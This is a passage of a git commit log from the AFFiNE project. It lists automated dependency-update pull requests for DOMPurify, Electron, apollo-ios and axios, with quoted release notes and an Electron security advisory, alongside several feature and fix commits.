🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-22 12:18:23 +00:00
DarkSky
e3f3c8c4a8 feat: add config for mail server name (#13632)
fix #13627

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added configurable display names for primary and fallback SMTP
servers, improving email sender identification.
* Defaults to “AFFiNE Server,” with support for MAILER_SERVERNAME
environment variable for the primary SMTP.
* Exposed in admin settings for easy setup alongside existing SMTP
options.
* Names are now passed through to mail transport options for consistent
use across emails.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 11:52:15 +00:00
3720
7fe95f50f4 fix(editor): callout delete merge and slash menu (#13597)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Press Enter inside a callout splits the paragraph at the cursor into a
new focused paragraph.
- Clicking an empty callout inserts and focuses a new paragraph; emoji
menu behavior unchanged.
- New command to convert a callout paragraph to callout/selection flow
for Backspace handling.
  - New native API: ShareableContent.isUsingMicrophone(processId).

- Bug Fixes
- Backspace inside callout paragraphs now merges or deletes text
predictably and selects the callout when appropriate.

- Style
- Callout layout refined: top-aligned content and adjusted emoji
spacing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 11:29:18 +00:00
Cats Juice
195864fc88 feat(core): edit icon in navigation panel (#13595)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Rename dialog now edits per-item explorer icons (emoji or custom) and
can skip name-change callbacks. Doc icon picker added to the editor with
localized "Add icon" placeholder and readonly rendering. Icon editor
supports fallbacks, trigger variants, and improved input/test-id wiring.

- **Style**
- Updated icon picker and trigger sizing and placeholder visuals;
title/icon layout adjustments.

- **Chores**
- Explorer icon storage and module added to persist and serve icons
across the app.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 10:24:11 +00:00
dependabot[bot]
93554304e2 chore: bump dompurify from 3.1.6 to 3.2.7 (#13622)
Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.1.6 to
3.2.7.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/cure53/DOMPurify/releases">dompurify's
releases</a>.</em></p>
<blockquote>
<h2>DOMPurify 3.2.7</h2>
<ul>
<li>Added new attributes and elements to default allow-list, thanks <a
href="https://github.com/elrion018"><code>@​elrion018</code></a></li>
<li>Added <code>tagName</code> parameter to custom element
<code>attributeNameCheck</code>, thanks <a
href="https://github.com/nelstrom"><code>@​nelstrom</code></a></li>
<li>Added better check for animated <code>href</code> attributes, thanks
<a href="https://github.com/llamakko"><code>@​llamakko</code></a></li>
<li>Updated and improved the bundled types, thanks <a
href="https://github.com/ssi02014"><code>@​ssi02014</code></a></li>
<li>Updated several tests to better align with new browser encoding
behaviors</li>
<li>Improved the handling of potentially risky content inside CDATA
elements, thanks <a
href="https://github.com/securityMB"><code>@​securityMB</code></a> &amp;
<a href="https://github.com/terjanq"><code>@​terjanq</code></a></li>
<li>Improved the regular expression for raw-text elements to cover
textareas, thanks <a
href="https://github.com/securityMB"><code>@​securityMB</code></a> &amp;
<a href="https://github.com/terjanq"><code>@​terjanq</code></a></li>
</ul>
<h2>DOMPurify 3.2.6</h2>
<ul>
<li>Fixed several typos and removed clutter from our documentation,
thanks <a
href="https://github.com/Rotzbua"><code>@​Rotzbua</code></a></li>
<li>Added <code>matrix:</code> as an allowed URI scheme, thanks <a
href="https://github.com/kleinesfilmroellchen"><code>@​kleinesfilmroellchen</code></a></li>
<li>Added better config hardening against prototype pollution, thanks <a
href="https://github.com/EffectRenan"><code>@​EffectRenan</code></a></li>
<li>Added better handling of attribute removal, thanks <a
href="https://github.com/michalnieruchalski-tiugo"><code>@​michalnieruchalski-tiugo</code></a></li>
<li>Added better configuration for aggressive mXSS scrubbing behavior,
thanks <a
href="https://github.com/BryanValverdeU"><code>@​BryanValverdeU</code></a></li>
<li>Removed the script that caused the fake entry <a
href="https://security.snyk.io/vuln/SNYK-JS-DOMPURIFY-10176060">CVE-2025-48050</a></li>
</ul>
<h2>DOMPurify 3.2.5</h2>
<ul>
<li>Added a check to the mXSS detection regex to be more strict, thanks
<a
href="https://github.com/masatokinugawa"><code>@​masatokinugawa</code></a></li>
<li>Added ESM type imports in source, removes patch function, thanks <a
href="https://github.com/donmccurdy"><code>@​donmccurdy</code></a></li>
<li>Added script to verify various TypeScript configurations, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Added more modern browsers to the Karma launchers list</li>
<li>Added Node 23.x to tested runtimes, removed Node 17.x</li>
<li>Fixed the generation of source maps, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed an unexpected behavior with <code>ALLOWED_URI_REGEXP</code>
using the 'g' flag, thanks <a
href="https://github.com/hhk-png"><code>@​hhk-png</code></a></li>
<li>Fixed a few typos in the README file</li>
</ul>
<h2>DOMPurify 3.2.4</h2>
<ul>
<li>Fixed a conditional and config dependent mXSS-style <a
href="https://nsysean.github.io/posts/dompurify-323-bypass/">bypass</a>
reported by <a
href="https://github.com/nsysean"><code>@​nsysean</code></a></li>
<li>Added a new feature to allow specific hook removal, thanks <a
href="https://github.com/davecardwell"><code>@​davecardwell</code></a></li>
<li>Added <em>purify.js</em> and <em>purify.min.js</em> to exports,
thanks <a
href="https://github.com/Aetherinox"><code>@​Aetherinox</code></a></li>
<li>Added better logic in case no window object is president, thanks <a
href="https://github.com/yehuya"><code>@​yehuya</code></a></li>
<li>Updated some dependencies called out by dependabot</li>
<li>Updated license files etc to show the correct year</li>
</ul>
<h2>DOMPurify 3.2.3</h2>
<ul>
<li>Fixed two conditional sanitizer bypasses discovered by <a
href="https://github.com/parrot409"><code>@​parrot409</code></a> and <a
href="https://x.com/slonser_"><code>@​Slonser</code></a></li>
<li>Updated the attribute clobbering checks to prevent future bypasses,
thanks <a
href="https://github.com/parrot409"><code>@​parrot409</code></a></li>
</ul>
<h2>DOMPurify 3.2.2</h2>
<ul>
<li>Fixed a possible bypass in case a rather specific config for custom
elements is set, thanks <a
href="https://github.com/yaniv-git"><code>@​yaniv-git</code></a></li>
<li>Fixed several minor issues with the type definitions, thanks again
<a href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed a minor issue with the types reference for trusted types,
thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed a minor problem with the template detection regex on some
systems, thanks <a
href="https://github.com/svdb99"><code>@​svdb99</code></a></li>
</ul>
<h2>DOMPurify 3.2.1</h2>
<ul>
<li>Fixed several minor issues with the type definitions, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a> <a
href="https://github.com/ghiscoding"><code>@​ghiscoding</code></a> <a
href="https://github.com/asamuzaK"><code>@​asamuzaK</code></a> <a
href="https://github.com/MiniDigger"><code>@​MiniDigger</code></a></li>
<li>Fixed an issue with non-minified dist files and order of imports,
thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="eaa0bdb26a"><code>eaa0bdb</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1144">#1144</a>
from cure53/main</li>
<li><a
href="f712593118"><code>f712593</code></a>
fix: removed a possibly dossy regex</li>
<li><a
href="eb9b3b6874"><code>eb9b3b6</code></a>
Merge branch 'main' of github.com:cure53/DOMPurify</li>
<li><a
href="ce006f705c"><code>ce006f7</code></a>
chore: Preparing 3.2.7 release</li>
<li><a
href="ef0e0cb6eb"><code>ef0e0cb</code></a>
chore: Preparing 3.2.6 release</li>
<li><a
href="2f09cd3c8e"><code>2f09cd3</code></a>
Update README.md</li>
<li><a
href="6a795bcf3e"><code>6a795bc</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1142">#1142</a>
from cure53/dependabot/github_actions/actions/setup-...</li>
<li><a
href="2458bbdfca"><code>2458bbd</code></a>
build(deps): bump actions/setup-node from 4 to 5</li>
<li><a
href="e43d3f3548"><code>e43d3f3</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1136">#1136</a>
from cure53/dependabot/github_actions/actions/checko...</li>
<li><a
href="6f5be37ee0"><code>6f5be37</code></a>
build(deps): bump actions/checkout from 4 to 5</li>
<li>Additional commits viewable in <a
href="https://github.com/cure53/DOMPurify/compare/3.1.6...3.2.7">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=dompurify&package-manager=npm_and_yarn&previous-version=3.1.6&new-version=3.2.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-21 19:05:12 +00:00
renovate[bot]
2f38953cf9 chore: bump up electron version to v35.7.5 [SECURITY] (#13561)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [electron](https://redirect.github.com/electron/electron) | [`35.5.1`
-> `35.7.5`](https://renovatebot.com/diffs/npm/electron/35.5.1/35.7.5) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/electron/35.7.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/35.5.1/35.7.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-55305](https://redirect.github.com/electron/electron/security/advisories/GHSA-vmqv-hx8q-j7mg)

### Impact
This only impacts apps that have the `embeddedAsarIntegrityValidation`
and `onlyLoadAppFromAsar`
[fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) enabled.
Apps without these fuses enabled are not impacted.

Specifically this issue can only be exploited if your app is launched
from a filesystem the attacker has write access too. i.e. the ability to
edit files inside the `resources` folder in your app installation on
Windows which these fuses are supposed to protect against.

### Workarounds
There are no app side workarounds, you must update to a patched version
of Electron.

### Fixed Versions
* `38.0.0-beta.6`
* `37.3.1`
* `36.8.1`
* `35.7.5`

### For more information
If you have any questions or comments about this advisory, email us at
[security@electronjs.org](mailto:security@electronjs.org)

---

### Release Notes

<details>
<summary>electron/electron (electron)</summary>

###
[`v35.7.5`](https://redirect.github.com/electron/electron/releases/tag/v35.7.5):
electron v35.7.5

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.4...v35.7.5)

##### Release Notes for v35.7.5

> \[!WARNING]
> Electron 35.x.y has reached end-of-support as per the project's
[support
policy](https://www.electronjs.org/docs/latest/tutorial/electron-timelines#version-support-policy).
Developers and applications are encouraged to upgrade to a newer version
of Electron.

##### Fixes

- Fixed an issue where `shell.openPath` was not non-blocking as
expected.
[#&#8203;48079](https://redirect.github.com/electron/electron/pull/48079)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/48088),
[37](https://redirect.github.com/electron/electron/pull/48088),
[38](https://redirect.github.com/electron/electron/pull/48088))</span>

###
[`v35.7.4`](https://redirect.github.com/electron/electron/releases/tag/v35.7.4):
electron v35.7.4

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.2...v35.7.4)

##### Release Notes for v35.7.4

- Fix ffmpeg generation on Windows non-x64

###
[`v35.7.2`](https://redirect.github.com/electron/electron/releases/tag/v35.7.2):
electron v35.7.2

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.0...v35.7.2)

##### Release Notes for v35.7.2

##### Fixes

- Fixed an issue where printing PDFs with `webContents.print({ silent:
true })` would fail.
[#&#8203;47645](https://redirect.github.com/electron/electron/pull/47645)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47624),
[37](https://redirect.github.com/electron/electron/pull/47397))</span>

###
[`v35.7.0`](https://redirect.github.com/electron/electron/releases/tag/v35.7.0):
electron v35.7.0

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.6.0...v35.7.0)

##### Release Notes for v35.7.0

##### Other Changes

- Updated Node.js to v22.16.0.
[#&#8203;47213](https://redirect.github.com/electron/electron/pull/47213)

###
[`v35.6.0`](https://redirect.github.com/electron/electron/releases/tag/v35.6.0):
electron v35.6.0

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.5.1...v35.6.0)

##### Release Notes for v35.6.0

##### Features

- Added support for `--no-experimental-global-navigator` flag.
[#&#8203;47416](https://redirect.github.com/electron/electron/pull/47416)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47417),
[37](https://redirect.github.com/electron/electron/pull/47418))</span>
- Added support for customizing system accent color and highlighting of
active window border.
[#&#8203;47539](https://redirect.github.com/electron/electron/pull/47539)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47538),
[37](https://redirect.github.com/electron/electron/pull/47537))</span>

##### Fixes

- Fixed a potential crash using `session.clearData` in some
circumstances.
[#&#8203;47410](https://redirect.github.com/electron/electron/pull/47410)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47411),
[37](https://redirect.github.com/electron/electron/pull/47412))</span>
- Fixed an error when importing `electron` for the first time from an
ESM module loaded by a CJS module in a packaged app.
[#&#8203;47344](https://redirect.github.com/electron/electron/pull/47344)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47343),
[37](https://redirect.github.com/electron/electron/pull/47342))</span>
- Fixed an issue where calling `Fetch.continueResponse` via debugger
with `WebContentsView` could cause a crash.
[#&#8203;47443](https://redirect.github.com/electron/electron/pull/47443)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47442),
[37](https://redirect.github.com/electron/electron/pull/47444))</span>
- Fixed an issue where utility processes could leak file handles.
[#&#8203;47542](https://redirect.github.com/electron/electron/pull/47542)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47541),
[37](https://redirect.github.com/electron/electron/pull/47543))</span>
- Partially fixes an issue with printing a PDF via `webContents.print()`
where the callback would not be called.
[#&#8203;47399](https://redirect.github.com/electron/electron/pull/47399)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47400),
[37](https://redirect.github.com/electron/electron/pull/47398))</span>

##### Other Changes

- Backported fix for
[`4206375`](https://redirect.github.com/electron/electron/commit/420637585).
[#&#8203;47369](https://redirect.github.com/electron/electron/pull/47369)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45MS4xIiwidXBkYXRlZEluVmVyIjoiNDEuOTcuMTAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 18:47:57 +00:00
renovate[bot]
ebf75e4d31 chore: bump up apollographql/apollo-ios version to v1.23.0 (#13623)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios)
| minor | `from: "1.22.0"` -> `from: "1.23.0"` |
|
[apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios)
| minor | `1.22.0` -> `1.23.0` |

---

### Release Notes

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

###
[`v1.23.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1230)

[Compare
Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.22.0...1.23.0)

##### New

- **Added `requireNonOptionalMockFields` flag to
`ApolloCodegenConfiguration.OutputOptions`.
([#&#8203;669](https://redirect.github.com/apollographql/apollo-ios-dev/pull/669)):**
Added new flag to codegen output options to allow having non-optional
fields in the test mocks if desired. *Thank you to
[@&#8203;dwroth](https://redirect.github.com/dwroth) for the
contribution.*

##### Improvement

- **Added public initializer to `DatabaseRow`.
([#&#8203;664](https://redirect.github.com/apollographql/apollo-ios-dev/pull/664)):**
Not having a public initializer on `DatabasRow` was hindering the
ability to create custom `SQLiteDatabase` implementations. This solves
that by adding a public initializer to `DatabaseRow`.*Thank you to
[@&#8203;ChrisLaganiere](https://redirect.github.com/ChrisLaganiere) for
the contribution.*

##### Fixed

- **Unncessary deprecation warning in codegen options initializer.
([#&#8203;3563](https://redirect.github.com/apollographql/apollo-ios/issues/3563)):**
Added `@_disfavoredOverload` to the deprecated initialized in
`ApolloCodegenConfiguration` to prevent possible warnings caused by the
compiler selecting a deprecated initializer versus the new/current
initializer. See PR
[#&#8203;682](https://redirect.github.com/apollographql/apollo-ios-dev/pull/682).
*Thank you to
[@&#8203;CraigSiemens](https://redirect.github.com/CraigSiemens) for
raising the issue.*

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 18:35:24 +00:00
dependabot[bot]
2d0721a78f chore: bump axios from 1.9.0 to 1.12.2 (#13621)
Bumps [axios](https://github.com/axios/axios) from 1.9.0 to 1.12.2.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/axios/axios/releases">axios's
releases</a>.</em></p>
<blockquote>
<h2>Release v1.12.2</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>fetch:</strong> use current global fetch instead of cached
one when env fetch is not specified to keep MSW support; (<a
href="https://redirect.github.com/axios/axios/issues/7030">#7030</a>)
(<a
href="cf78825e12">cf78825</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+247/-16
([#7030](https://github.com/axios/axios/issues/7030)
[#7022](https://github.com/axios/axios/issues/7022)
[#7024](https://github.com/axios/axios/issues/7024) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/noritaka1166"
title="+2/-6 ([#7028](https://github.com/axios/axios/issues/7028)
[#7029](https://github.com/axios/axios/issues/7029) )">Noritaka
Kobayashi</a></li>
</ul>
<h2>Release v1.12.1</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>types:</strong> fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)
(<a
href="b5f26b75bd">b5f26b7</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+10/-4
([#7020](https://github.com/axios/axios/issues/7020) )">Dmitriy
Mozgovoy</a></li>
</ul>
<h2>Release v1.12.0</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li>adding build artifacts (<a
href="9ec86de257">9ec86de</a>)</li>
<li>dont add dist on release (<a
href="a2edc3606a">a2edc36</a>)</li>
<li><strong>fetch-adapter:</strong> set correct Content-Type for Node
FormData (<a
href="https://redirect.github.com/axios/axios/issues/6998">#6998</a>)
(<a
href="a9f47afbf3">a9f47af</a>)</li>
<li><strong>node:</strong> enforce maxContentLength for data: URLs (<a
href="https://redirect.github.com/axios/axios/issues/7011">#7011</a>)
(<a
href="945435fc51">945435f</a>)</li>
<li>package exports (<a
href="https://redirect.github.com/axios/axios/issues/5627">#5627</a>)
(<a
href="aa78ac23fc">aa78ac2</a>)</li>
<li><strong>params:</strong> removing '[' and ']' from URL encode
exclude characters (<a
href="https://redirect.github.com/axios/axios/issues/3316">#3316</a>)
(<a
href="https://redirect.github.com/axios/axios/issues/5715">#5715</a>)
(<a
href="6d84189349">6d84189</a>)</li>
<li>release pr run (<a
href="fd7f404488">fd7f404</a>)</li>
<li><strong>types:</strong> change the type guard on isCancel (<a
href="https://redirect.github.com/axios/axios/issues/5595">#5595</a>)
(<a
href="0dbb7fd4f6">0dbb7fd</a>)</li>
</ul>
<h3>Features</h3>
<ul>
<li><strong>adapter:</strong> surface low‑level network error details;
attach original error via cause (<a
href="https://redirect.github.com/axios/axios/issues/6982">#6982</a>)
(<a
href="78b290c57c">78b290c</a>)</li>
<li><strong>fetch:</strong> add fetch, Request, Response env config
variables for the adapter; (<a
href="https://redirect.github.com/axios/axios/issues/7003">#7003</a>)
(<a
href="c959ff2901">c959ff2</a>)</li>
<li>support reviver on JSON.parse (<a
href="https://redirect.github.com/axios/axios/issues/5926">#5926</a>)
(<a
href="2a9763426e">2a97634</a>),
closes <a
href="https://redirect.github.com/axios/axios/issues/5924">#5924</a></li>
<li><strong>types:</strong> extend AxiosResponse interface to include
custom headers type (<a
href="https://redirect.github.com/axios/axios/issues/6782">#6782</a>)
(<a
href="7960d34ede">7960d34</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/WillianAgostini" title="+132/-16760
([#7002](https://github.com/axios/axios/issues/7002)
[#5926](https://github.com/axios/axios/issues/5926)
[#6782](https://github.com/axios/axios/issues/6782) )">Willian
Agostini</a></li>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+4263/-293
([#7006](https://github.com/axios/axios/issues/7006)
[#7003](https://github.com/axios/axios/issues/7003) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/mkhani01"
title="+111/-15 ([#6982](https://github.com/axios/axios/issues/6982)
)">khani</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/AmeerAssadi"
title="+123/-0 ([#7011](https://github.com/axios/axios/issues/7011)
)">Ameer Assadi</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/emiedonmokumo"
title="+55/-35 ([#6998](https://github.com/axios/axios/issues/6998)
)">Emiedonmokumo Dick-Boro</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/opsysdebug"
title="+8/-8 ([#6980](https://github.com/axios/axios/issues/6980)
)">Zeroday BYTE</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/axios/axios/blob/v1.x/CHANGELOG.md">axios's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/axios/axios/compare/v1.12.1...v1.12.2">1.12.2</a>
(2025-09-14)</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>fetch:</strong> use current global fetch instead of cached
one when env fetch is not specified to keep MSW support; (<a
href="https://redirect.github.com/axios/axios/issues/7030">#7030</a>)
(<a
href="cf78825e12">cf78825</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+247/-16
([#7030](https://github.com/axios/axios/issues/7030)
[#7022](https://github.com/axios/axios/issues/7022)
[#7024](https://github.com/axios/axios/issues/7024) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/noritaka1166"
title="+2/-6 ([#7028](https://github.com/axios/axios/issues/7028)
[#7029](https://github.com/axios/axios/issues/7029) )">Noritaka
Kobayashi</a></li>
</ul>
<h2><a
href="https://github.com/axios/axios/compare/v1.12.0...v1.12.1">1.12.1</a>
(2025-09-12)</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>types:</strong> fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)
(<a
href="b5f26b75bd">b5f26b7</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+10/-4
([#7020](https://github.com/axios/axios/issues/7020) )">Dmitriy
Mozgovoy</a></li>
</ul>
<h1><a
href="https://github.com/axios/axios/compare/v1.11.0...v1.12.0">1.12.0</a>
(2025-09-11)</h1>
<h3>Bug Fixes</h3>
<ul>
<li>adding build artifacts (<a
href="9ec86de257">9ec86de</a>)</li>
<li>dont add dist on release (<a
href="a2edc3606a">a2edc36</a>)</li>
<li><strong>fetch-adapter:</strong> set correct Content-Type for Node
FormData (<a
href="https://redirect.github.com/axios/axios/issues/6998">#6998</a>)
(<a
href="a9f47afbf3">a9f47af</a>)</li>
<li><strong>node:</strong> enforce maxContentLength for data: URLs (<a
href="https://redirect.github.com/axios/axios/issues/7011">#7011</a>)
(<a
href="945435fc51">945435f</a>)</li>
<li>package exports (<a
href="https://redirect.github.com/axios/axios/issues/5627">#5627</a>)
(<a
href="aa78ac23fc">aa78ac2</a>)</li>
<li><strong>params:</strong> removing '[' and ']' from URL encode
exclude characters (<a
href="https://redirect.github.com/axios/axios/issues/3316">#3316</a>)
(<a
href="https://redirect.github.com/axios/axios/issues/5715">#5715</a>)
(<a
href="6d84189349">6d84189</a>)</li>
<li>release pr run (<a
href="fd7f404488">fd7f404</a>)</li>
<li><strong>types:</strong> change the type guard on isCancel (<a
href="https://redirect.github.com/axios/axios/issues/5595">#5595</a>)
(<a
href="0dbb7fd4f6">0dbb7fd</a>)</li>
</ul>
<h3>Features</h3>
<ul>
<li><strong>adapter:</strong> surface low‑level network error details;
attach original error via cause (<a
href="https://redirect.github.com/axios/axios/issues/6982">#6982</a>)
(<a
href="78b290c57c">78b290c</a>)</li>
<li><strong>fetch:</strong> add fetch, Request, Response env config
variables for the adapter; (<a
href="https://redirect.github.com/axios/axios/issues/7003">#7003</a>)
(<a
href="c959ff2901">c959ff2</a>)</li>
<li>support reviver on JSON.parse (<a
href="https://redirect.github.com/axios/axios/issues/5926">#5926</a>)
(<a
href="2a9763426e">2a97634</a>),
closes <a
href="https://redirect.github.com/axios/axios/issues/5924">#5924</a></li>
<li><strong>types:</strong> extend AxiosResponse interface to include
custom headers type (<a
href="https://redirect.github.com/axios/axios/issues/6782">#6782</a>)
(<a
href="7960d34ede">7960d34</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/WillianAgostini" title="+132/-16760
([#7002](https://github.com/axios/axios/issues/7002)
[#5926](https://github.com/axios/axios/issues/5926)
[#6782](https://github.com/axios/axios/issues/6782) )">Willian
Agostini</a></li>
